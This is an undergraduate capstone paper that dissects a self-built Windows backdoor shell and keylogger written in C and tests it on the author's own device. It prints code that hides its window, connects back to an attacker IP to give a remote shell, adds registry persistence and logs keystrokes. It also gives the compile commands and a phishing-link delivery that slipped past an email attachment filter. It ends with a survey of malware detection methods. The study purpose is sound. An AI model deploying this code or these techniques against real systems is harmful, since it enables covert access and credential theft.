Malware - Under the Hood: A Documentation and Analysis of Malware Construction and Implementation

Michael Peters (Bachelor of Science, Major in Computer Science, Minor in Cybersecurity)

College of Liberal Arts and Sciences, Computing Sciences, Villanova University, 800 E. Lancaster Avenue, Villanova, PA 19085, USA

CSC 4790 - Fall 2021, Senior Project Research Paper

ABSTRACT

Malware forms the basis of cyberattacks in the modern world, and these attacks are becoming increasingly frequent as a result of the rapidly progressing Digital Revolution. For my senior project, I first performed preliminary research on various types of malware. I then assumed the role of a cyberattacker by constructing and implementing customized malware. Implementation took the form of a simulated infection of one of my own personal devices, by another of my devices. This paper documents my processes and findings throughout the course of my project. I provide an in-depth analysis of both the malware build and application. By way of this analysis, I aim to further my own understanding of malware, as well as that of my audience, so that we may heighten our ability to protect from real-world threats and attackers.

TABLE OF CONTENTS

1. INTRODUCTION

In the present era, the manner in which we live our lives continues to change at an unprecedented rate. Ever since the creation of the internet as we now know it (in and around the 1990s) the ways by which we interact with each other and conduct business have seen a massive shift to cyberspace. This meteoric transformation, which has drastically increased our reliance on computers, has been logically accompanied by the overwhelming growth of cybercriminal activity. The foundational method by which such activity occurs is the use of malicious software, otherwise known as malware.

Malware is a term representative of all programs or software that are designed to harm, exploit, or allow non-permitted access, to a network, system, or device. According to Purplesec (a cybersecurity company based in Washington DC that tracks trends in cybercrime), the number of malware infections in the US from 2009 to 2018 has increased from around 12.4 million to well over 800 million. SonicWall (a corporate leader in the field of cybersecurity), reported that 5.6 billion malware attacks took place worldwide over the course of the past year. These statistics demonstrate the immense, exponential growth in terms of the threat that malware poses, and that threat is tirelessly adapting.

The majority of individuals who possess intimate knowledge of computer operation, or at the very least, rely on computers regularly, are likely to also possess a surface-level understanding of malware. They are probably familiar with the different types of malware as well as the effects of those types. As an undergraduate student within the computer science discipline, I was a member of that majority. This conceptual understanding, while valuable, left me with no actual knowledge of the inner mechanisms of malware. If we were to think of malware as a metaphorical car, I would have understood the basics of operation. For instance, I know that stepping on the gas pedal causes the engine to increase speed, or that the turning of the steering wheel causes a change in direction of the wheels. But with this knowledge, I am far-off from a career as a mechanic. I had never examined what lies under the metaphorical hood. Exiting our metaphor, I possessed little to no understanding of the elemental systems working in unison to produce the effects that I observed. Furthermore, I had never worked on the anatomization and implementation of actual malware code. Such endeavors would provide me with an enhanced practical understanding of malware and cyberattacks. I came to realize that up until this point, my learning of most other computing-related subject matter had been characterized by these activities. For instance, when learning a topic like recursion, I was first given an overview of the concept followed by an in-depth examination of coded examples. As a student in pursuit of a minor specialization in cybersecurity, I thought it would be valuable to perform a similar in-depth examination of the concept of malware. Thus the idea for this project was born.

I aim to answer the question of how the internal, code-based components of malware work to produce their resulting effects. The complete answer to such a question cannot be stated in a single sentence or even a paragraph. Rather, it will be demonstrated throughout the entirety of this report, by the dissection of composite malware programs coupled with the examination of reunified program elements. In conjunction, I will display the process of simulating an attack with those programs. My purpose for gaining this deeper understanding of malware is a point that I will emphasize on multiple occasions within this report. My end goal is not to learn how malware operates so that my audience and I may use it for malicious purposes, but rather to learn how it operates so that we are more well-informed when we attempt to protect against and combat real cybercriminals. To that end, this report will also include research conducted on anti-malware and breach detection systems (bds). This research will be framed by the preceding examination of actual malware.

The organization of this paper is as follows. The next section will contain a description of my process for determining project scope, which informed my decision of what malware to examine and implement. Section 3 contains the main breakdown of malware code and depicts the process of construction. This section will contain fragments of actual code written in C programming language. The goal when dissecting code is not to teach individual language commands, but rather to communicate the functionality of code portions and understand how these portions integrate with one another to achieve surface-level malware features. Hence, an advanced knowledge of C programming language should not be necessary to follow along as a reader, but a grasp of basic programming structures and fundamentals is likely required. Without this, the code portions and certain terms I may use during dissection are likely to appear foreign. After the code breakdown, I will present my experiences with the attack simulation. I will cover the infection process of my target with my malware deliverable, as well as the series of actions an attacker can take after successful infection has occurred. Lastly, I will present my anti-malware/bds research before drawing my final conclusions.

2. SCOPE DETERMINATION

Before selecting malware to build and analyze, I first had to determine my desired scope. “Scope” in this case, refers to the extent of implementation, with regards to both time and capabilities. When undergoing this process, there are a series of important factors that aid in such determination. First, one must consider their overall purpose. I will reiterate that my purpose for this project is not to learn how to create my own malware for malicious use. This would be of no benefit, considering it is illegal and I have no intention of becoming a cybercriminal. My purpose is to enhance my knowledge of malware, and that of my audience, by gaining a new perspective on its use. Another factor for determining scope is one’s project conditions. In my case, this will serve as a semester-long, undergraduate capstone project and be presented mainly to undergraduate computer science students, as well as several department faculty members. Experience with the subject in question also plays a major role. As an individual with no prior malware implementation experience, there is a limit to the level of sophistication I can produce in a semester, as well as that which I can effectively convey to my target audience. I also had to consider the security risks involved in a project of this nature. It was important that any effects of my production stayed within controlled and legal bounds.

Considering my purpose and time constraints, I decided it would not be practical to learn how to create and implement my own fully original malware from scratch, as this process can take real world attackers many years. Rather it would be more appropriate to adopt and modify an existing ethical implementation while of course crediting original creators. This would still allow me to accomplish my learning goals and it would better suit my overall purpose. The aggregation of other factors led me to determine that I would require a relatively unsophisticated piece of malware with simple capabilities. Security requirements eliminated certain options, such as the establishment of a botnet or a DoS attack. Both of these attack forms influence multiple targets or networks, and I wanted to limit my effectiveness to a single device that I owned and operated. This would eliminate risk and allow me to better display the effects of my implementation. I decided to search for malware that would allow remote access to the single device on which it runs, meaning that effective, but easily displayable actions could be carried out. In addition to remote access, I grew intrigued by the capabilities of two popular forms of malware in particular, keyloggers and ransomware. My preliminary research led me to conclude that the formulation of ransomware would be too complex given my current conditions, so I settled on the establishment of remote access coupled with keylogger functionality. At this point I had successfully determined the main aspects of my scope, which went on to inform the eventual selection of my implementation.

3. MALWARE CONSTRUCTION

The programs dissected within this section have been coded by me, alongside the online course entitled “Build Undetectable Malware Using C Language: Ethical Hacking”. A more specific reference to this course and its creators can be found in the “Works Cited” section of this paper. The programs have been significantly modified to allow for use in my personal attack scenario. They have also been customized to allow for further understanding on my part. Full programs are available in my personal GitHub repository that will also be included in the “Works Cited” section of this paper. My choice to implement malware from this specific course was informed by my scope determination as previously mentioned, but was also decided upon by the technologies that I had available. Resource availability dictated that I utilize a 2017 MacBook Air as my attack device and an HP ProBook 6555b (running Windows 7 Pro) as my target device. The malware itself is only capable of proper performance when run on a target with the Windows 7 or Windows 10 operating systems. Attack devices can vary but the production of the malware deliverable from the programs in this section requires additional software which will be discussed in the attack

execution section (section 4) of this paper. But in an attempt not to get ahead of ourselves, we will begin with our code examination.

The implementation as a whole makes use of three individual C files:

- windows-bds.c
- bds-connection.c
- keylogger.h

We will reveal the purpose of each file and examine their most important components, beginning with "windows-bds.c".

windows-bds.c

The name of this program corresponds to its objective of establishing what I refer to as the Windows backdoor shell. Under our microscope of dissection, this program can be separated into two smaller core functions, those being the backdoor function and the shell function. The backdoor function is the main function call. It grants access to the Windows machine with the help of the "bds-connection.c" program, and it calls the shell function that defines our attacker actions. The following section of code displays the main function call (backdoor function):

```
128
129  int APIENTRY WinMain(HINSTANCE hInstance, HINSTANCE hPrev, LPSTR lpCmdLine, int nCmdShow){
130
131          HWND stealth;
132          AllocConsole();
133          stealth = FindWindowA("ConsoleWindowClass", NULL);
134
135          ShowWindow(stealth, 0);
136
```

The name of the function is "WinMain" and it establishes what is known as an API entry to allow the program to utilize a variety of other Windows functions. One of the more important parameters that the main function takes is "int nCmdShow" . This parameter represents a flag that specifies how the application window will be shown when the application/program is run. If we examine the first few lines of code within the function's body, we see the declaration of a handle called stealth. A handle (HWND) is a long value assigned by Windows to a given application window. The function call "ShowWindow()" takes that handle as an argument along with the value of nCmdShow (the flag parameter we mentioned earlier). The value "0" specifies that the application window conveyed by stealth should be minimized when the executable is run. Thus this beginning portion of code accomplishes the task of hiding our program execution from the user of the target machine.

The next part of the backdoor function allows us to make the connection from the program running on our target to our server running on the attacker machine.

```
137          struct sockaddr_in ServAddr;
138          unsigned short ServPort;
139          char *ServIP;
140          WSADATA wsaData;
141
142          ServIP = "10.138.1.215";
143          ServPort = 50005;
```

As the above portion shows, we begin the process by defining a set of objects. First there is a structure representing the socket address. A socket address combines a machine's port number and IP address in order to engage in transport layer communication. Directly following the socket address declaration, we can see a declaration and assignment for both the server port and IP address. The IP address in this case must be the IP address of our attacking machine, and the port can be any port that is free (not used by another application). Ultimately, these variables are vital in establishing the backdoor connection.

Once our backdoor connection effort is established, we progress to the second main component of our program, the shell function. In the brief snippet of code shown below, we can see that the final line of the main function is the call to our shell function.

```
157         start:
158         while (connect(server_soc, (struct sockaddr *) &ServAddr, sizeof(ServAddr)) != 0)
159         {
160                 Sleep(10);
161                 goto start;
162         }
163         Shell();
164 }
```

Within that shell function, we can view the series of commands which we are able to execute on the target from our attacking machine.

```
 86  void Shell() {
 87          char buffer[1024];
 88          char container[1024];
 89          char total_response[17744];
 90
 91
 92          while (1) {
 93                  jump:
 94                  bzero(buffer,1024);
 95                  bzero(container, sizeof(container));
 96                  bzero(total_response, sizeof(total_response));
 97                  recv(server_soc, buffer, 1024, 0);
 98
 99                  if (strncmp("q", buffer, 1) == 0) {
100                          closesocket(server_soc);
101                          WSACleanup();
102                          exit(0);
103                  }
104                  else if (strncmp("cd ", buffer, 3) == 0) {
105                          chdir(str_cut(buffer,3,100));
106                  }
107                  else if (strncmp("persist", buffer, 7) == 0) {
108                          bootRun();
109                  }
110                  else if (strncmp("keylog_start", buffer, 12) == 0) {
111                          HANDLE thread = CreateThread(NULL, 0,logg, NULL, 0, NULL);
112                          goto jump;
```

For example, the “q” command allows us to end or quit our malware program. When called it stops the background execution of the whole program and exits the shell on the attacking machine. Another visible command is the “cd” command which we can use to navigate our way through the directories of the target machine. Such capability can be especially dangerous as it allows an attacker extended access to the target system. The “persist” command causes the malware program to start whenever the target system is rebooted. It makes use of the “bootRun()” function (another function defined within the program) in order to interact with the Windows Registry. The Registry stores settings for the various Windows applications and our malware makes use of the Registry to ensure it cannot be removed by a simple system restart. The last visible command is the “keylog_start” command which is used, as one may guess, to start our keylogger. The backdoor shell function is not limited to these depicted commands for execution, but seeing them provides us with a better understanding of how the surface effects of our malware are being produced. We now see how the backdoor shell operates from the target, so we can transition to examining how our second file, the connection program, completes the circuit of information exchange.

bds-connection.c

As I previously alluded to, the bds-connection.c file is run by the attacker in order to communicate with the backdoor program on the target machine. To guide my analysis, I deconstruct this program into three sections, each representative of a step in the communication process. The first step of the process is listening for the incoming backdoor connection. The following segment of code exhibits this step.

```
28          server_address.sin_family = AF_INET;
29          server_address.sin_addr.s_addr = inet_addr("10.138.1.215");
30          server_address.sin_port = htons(50005);
31
32          bind(server_sock, (struct sockaddr *) &server_address, sizeof(server_address));
33          listen(server_sock, 5);
34          client_length = sizeof(client_address);
35          client_sock = accept(server_sock, (struct sockaddr *) &client_address, &client_length);
```

Similar to the backdoor program, we can see various constructs holding server and socket information. In this segment there are two aspects that are particularly important to observe. The first is the repetition of the IP address and port number. These two values must correspond to the values of the backdoor shell program in order for the connection to be made. The IP address must also correspond to that of the attacking machine or else that machine will not be discoverable by the program on the target. The second important aspect is the “listen()” command which signifies that the executable on the target machine is indeed the part of the implementation reaching out for a connection to be made.

Once a connection is made, the next step of the communication process is conveying a command. The top half of the following code section shows this step through the use of a buffer. The buffer also appears in the backdoor shell program but in the case of the connection program, it stores the input command and relays that input to the target machine. In the code below, the first “printf()” statement corresponds to the display of our shell on the hacking machine. This is followed by the statement “fgets()” which takes our buffer and its size as the first two arguments, outlining where it will store the information it receives. It takes “stdin” as its final argument signifying that it will capture the command we type in the shell on the hacking machine.

```
37          while(1)
38          {
39                  jump:
40                  bzero(&buffer, sizeof(buffer));
41                  bzero(&response, sizeof(response));
42                  printf("* Shell#%s~$: ", inet_ntoa(client_address.sin_addr));
43                  fgets(buffer, sizeof(buffer), stdin);
44                  strtok(buffer, "\n");
45                  write(client_sock, buffer, sizeof(buffer));
46                  if (strncmp("q", buffer, 1) == 0) {
47                          break;
48                  }
49                  else if (strncmp("cd ", buffer, 3) == 0) {
50                          goto jump;
51                  }
52                  else if (strncmp("keylog_start", buffer, 12) == 0) {
53                          goto jump;
54                  }
55                  else if (strncmp("persist", buffer, 7) == 0) {
56                          recv(client_sock, response, sizeof(response), 0);
57                          printf("%s", response);
58                  }
59                  else {
60                          recv(client_sock, response, sizeof(response), MSG_WAITALL);
61                          printf("%s", response);
62                  }
```

In the bottom half of the above section, we can see the processing of commands, similar to that which we examined in the backdoor shell program. Notable differences exist though in terms of the actions within the conditional blocks. The use of “recv()” and “printf()” represent the final step of the connection program, which is the reception and presentation of the desired information to the would-be attacker via shell output. The examinations of the individual sections of this program allow us to better comprehend how the systems combine to achieve the program’s overall goal. The last of the three files we will explore is the “keylogger.h” file.

keylogger.h

The keylogger file, as its name suggests, establishes the keylogger functionality. In order to do so, it is imported by the backdoor shell program. In other words, it does not operate on its own for the purposes of this implementation. To convey how this program works, I will show the main function that allows the recording of keystrokes. and then I will show the specific method by which the captured keystrokes are displayed. The crucial function for this program is the “GetKeyState()” function.

```
24
25          isCAPSLOCK=(GetKeyState(0x14)&0xFF)>0?1:0;
26          isNUMLOCK=(GetKeyState(0x90)&0xFF)>0?1:0;
27          isL_SHIFT=(GetKeyState(0xA0)&0xFF00)>0?1:0;
28          isR_SHIFT=(GetKeyState(0xA1)&0xFF00)>0?1:0;
29
30
31          for(vkey=0;vkey<0xFF;vkey++){
32              isPressed=(GetKeyState(vkey)&0xFF00)>0?1:0;
33              showKey=(char)vkey;
34              if(isPressed==1 && last_key_state[vkey]==0){
35
36
37                  if(vkey>=0x41 && vkey<=0x5A){
38                      if(isCAPSLOCK==0){
39                          if(isL_SHIFT==0 && isR_SHIFT==0){
40                              showKey=(char)(vkey+0x20);
41                          }
42                      }
43                      else if(isL_SHIFT==1 || isR_SHIFT==1){
44                          showKey=(char)(vkey+0x20);
45                      }
46                  }
```

The above portion of code shows repeated execution of the GetKeyState function but it also shows a for loop where the result of that function is compared to a series of values that represent the keys. Those well versed in machine language may recognize that the keystrokes in this program are represented by ASCII values. GetKeyState produces an ASCII value, so by comparing its result with the known key representations, the machine knows what key is pressed. Once the keystrokes are recorded, the only major step left is to display them. The following snippet of code will provide some insight into this process.

```
89
90                  if(showKey!=(char)0x00){
91                      kh=fopen(KEY_LOG_FILE,"a");
92                      putc(showKey,kh);
93                      fclose(kh);
94                  }
95              }
96              last_key_state[vkey]=isPressed;
97          }
98
```

In order to display the captured keystrokes, the keylogger program creates a text file and writes each keystroke to that file. If we look within the conditional if statement in the code above, we see an object “kh” opening a file referred to as “KEY_LOG_FILE”. After creating and opening the text file, the program writes the keystrokes and then closes the file. “kh” is a file descriptor that is used to reference or handle the keystroke text file. “KEY_LOG_FILE” is a char object holding the actual name of the text file. With the keystrokes recorded, the would-be attacker can then execute a command to write the contents of the text file, thereby displaying the contents in the shell on the hacking machine. I will go into more detail with this command and others, in the next section that gives an overview of my attack simulation.

4. SIMULATED ATTACK EXECUTION

The process of attack simulation was both challenging and exciting. For a project like this, execution of an attack is likely to be the most highly anticipated event and for good reason. It's not everyday that we get the chance to impersonate a cybercriminal and see the world through their eyes. I will describe my experience doing so in an effort to inform my audience. The process itself will have 4 distinct phases, the first being compilation. This phase includes the conversion of our written code to the files needed for our attack. Once our files are set, we transition into the infection phase where our goal is to transfer the malware deliverable to the target machine. After this comes the connection phase where we get some confirmation as to whether or not our code works as intended. And the final phase once the connection has been established is the execution of our malicious commands.

We begin with the process of compilation. I mentioned at a much earlier point in the paper that our malware program is only capable of operation on a Windows machine. I also stated that the hacking machine can vary but that I would be making use of my 2017 MacBook Air. In order to simplify the compilation, I decided to engage in my hacking efforts from a Kali Linux 2021.3 virtual machine on my Mac. I make note of this because the process for compilation is different for different systems. In addition to the virtual machine, I utilized another piece of software during compilation called MinGW (a native Windows port of the GNU compiler collection). The commands used during compilation are as follows.

- **i686-w64-mingw32-gcc -o mal.exe windows-bds.c -lwsock32 -lwininet**

- **gcc bds-connection.c -o connection**

These commands must be executed via the Kali Linux terminal, in the same location as the saved code files. The first of the two commands produces the malware executable file named “mal.exe” (this can be changed) to be transported and run on the target machine. The second command produces a file that is run on the hacking machine in order to establish the connection. Once the necessary software is installed, the compilation is relatively straightforward.

The next phase of the attack simulation is the infection of the target with the malware executable file. At the beginning of my project, I decided that I would attempt to send the file via email to explore phishing techniques, a popular method of real-world infection. This created a significant obstacle for the transfer of my file, even though I could control the target email account and facilitate the malicious download. The obstacle was that gmail, the email service I was attempting to use, had strict security measures in place to prevent malware from being attached to an email. I was unable to attach my file, even after attempting to disguise the file with a file archiver. If I were a real attacker, I would have needed to increase the sophistication of my malware to better disguise it from anti-malware tools, but for the purpose of this project, I circumvented this issue by uploading my file to a file-sharing site and then sending the link to the download page via email. This allowed me to successfully download the malware file onto my target machine.

After the file transfer I had to establish the connection between my target machine and my hacking machine. From a programming point of view, this meant establishing the link between my backdoor and my connection program. In order to do this, I first had to run my connection program with the command **“./connection”** in my Kali Linux terminal. This meant that the connection program was listening for the backdoor signal. All that was required at this point was a click of the malware executable on the target machine. To my surprise, I was not successful in establishing the connection the first few times I attempted this process. I had to undergo long periods of troubleshooting and debugging to discover the issue and I eventually found that the settings of my virtual machine were preventing a real network signal from being transmitted. Once I reconfigured the settings, I was able to form a

successful connection, confirmed by the display of the shell on my hacking machine. Having successfully established my connection I felt a great deal of relief and accomplishment. The process had been more strenuous than I had anticipated but the results were even better than I had imagined. The capabilities of my implementation were all successful. I could execute commands from my shell such as **"dir", "cd ..", "ipconfig",** and **"systeminfo".** I was also able to start my keylogger and display the recorded keystrokes. Part of me was frightened by the possible consequences if what I had created were to be used for malicious use. The shell allowed access to various pieces of important system information and the keylogger functionality could record anything from a simple google search to bank account sign-in credentials. One could even imagine an instance where company network credentials may be captured leading to infiltration of a company's entire network. Suffice to say, I certainly gained a new perspective on malware throughout the course of my project.

5. ANTI-MALWARE/BDS

In this section, my goal is to present some of my additional research into the topics of anti-malware and breach detection systems as a means of bringing this project full circle. To be more precise, I will explain some of the methods by which these softwares attempt to identify malware. Anti-malware is defined as any software program that works to prevent, detect, or remove malware. A breach detection system is very similar to anti-malware but it is usually more broad and complex in terms of the actions it can take. These two softwares are forms of internal detection, meaning they operate under the assumption that a system has already been breached. They should not be confused with external detection tools such as firewalls which focus on preventing breaches altogether. The need for internal detection methods stems from the fact that external detection is useless in most cases after a breach occurs. With a proper grasp on the purpose of internal detection, we can now investigate the procedures that make it possible. The most notable of these procedures is signature-based detection. Signature-based detection works by comparing the signature of a potential malware file to a database of known malware signatures. In the case of my implementation, it is entirely possible that my code contained a known malware signature, since I wrote it alongside a public online course. Another method of malware detection is heuristic analysis. Heuristic analysis looks at the internal code of a potentially malicious file rather than its signature. It examines the specific commands within a program to decide whether to deem a file as malicious. Heuristic analysis requires fine-tuning of search criteria and can often result in false positives. The third and final detection method I will discuss is behavior-based detection. In the case of this method, the software establishes a normal (baseline) state for running a system and monitors for deviations from that system. As I am not a real attacker, I did not require a high level of sophistication for my malware implementation. In order for real attackers to evade detection systems like these, they use a variety of intricate obfuscation techniques. Malware is constantly adapting in this way and cybersecurity personnel need to do all they can to keep pace.

6. CONCLUSION

At this point, I think we are all well aware of the threat that malware poses. It is a danger that continues to grow and evolve so it is of paramount importance that we evolve as well. When I initially set out to complete this project, that was the singular end goal that I had in mind. I wanted my audience and I to gain a more thorough understanding of malware so that we are better prepared when it comes to facing real-world threats. I am confident that I reached that goal. My activities reminded me of the importance and effectiveness of anti-malware. I was also reminded of overlooked malware detection techniques such as the monitoring of running processes or the need to double-check the type of a file even if it appears harmless. I learned about internal detection methods, and perhaps in the future I

could contribute to the development of new methods. If I were to work with heuristic analysis, looking at the code and commands of potential malware files, I would have a foothold provided by my experience with this project. I have always been of the mindset that solving a problem starts with examining it from all sides. This project has given me the opportunity to do that and I am certainly better off for it. Overall, I learned a great deal and I hope the same can be said for anyone reading this.

ACKNOWLEDGEMENTS

The concept and accomplishments of this project contain contributions from my Senior Projects Professor, Kristin Obermyer, the Chair of the Computing Sciences Department at Villanova, Dr. Daniel Joyce, and Villanova Adjunct Professor, Donald Price.

WORKS CITED

GitHub Repository of referenced code:
https://github.com/CSC4790-Fall2021-Org/senior-project-malware-under-the-hood

"Build Undetectable Malware Using c Language: Ethical Hacking." *Udemy*, www.udemy.com/course/build-undetectable-malware-using-c-language-ethical-hacking/. Accessed 9 Dec. 2021.

Gandhi, Rohith. "Support Vector Machine — Introduction to Machine Learning Algorithms." *Towards Data Science*, Towards Data Science, 7 June 2018, towardsdatascience.com/support-vector-machine-introduction-to-machine-learning-algorithms-934a444fca47.

Souri, Alireza, and Rahil Hosseini. "A State-of-The-Art Survey of Malware Detection Approaches Using Data Mining Techniques." *Human-Centric Computing and Information Sciences*, vol. 8, no. 1, 12 Jan. 2018, 10.1186/s13673-018-0125-x.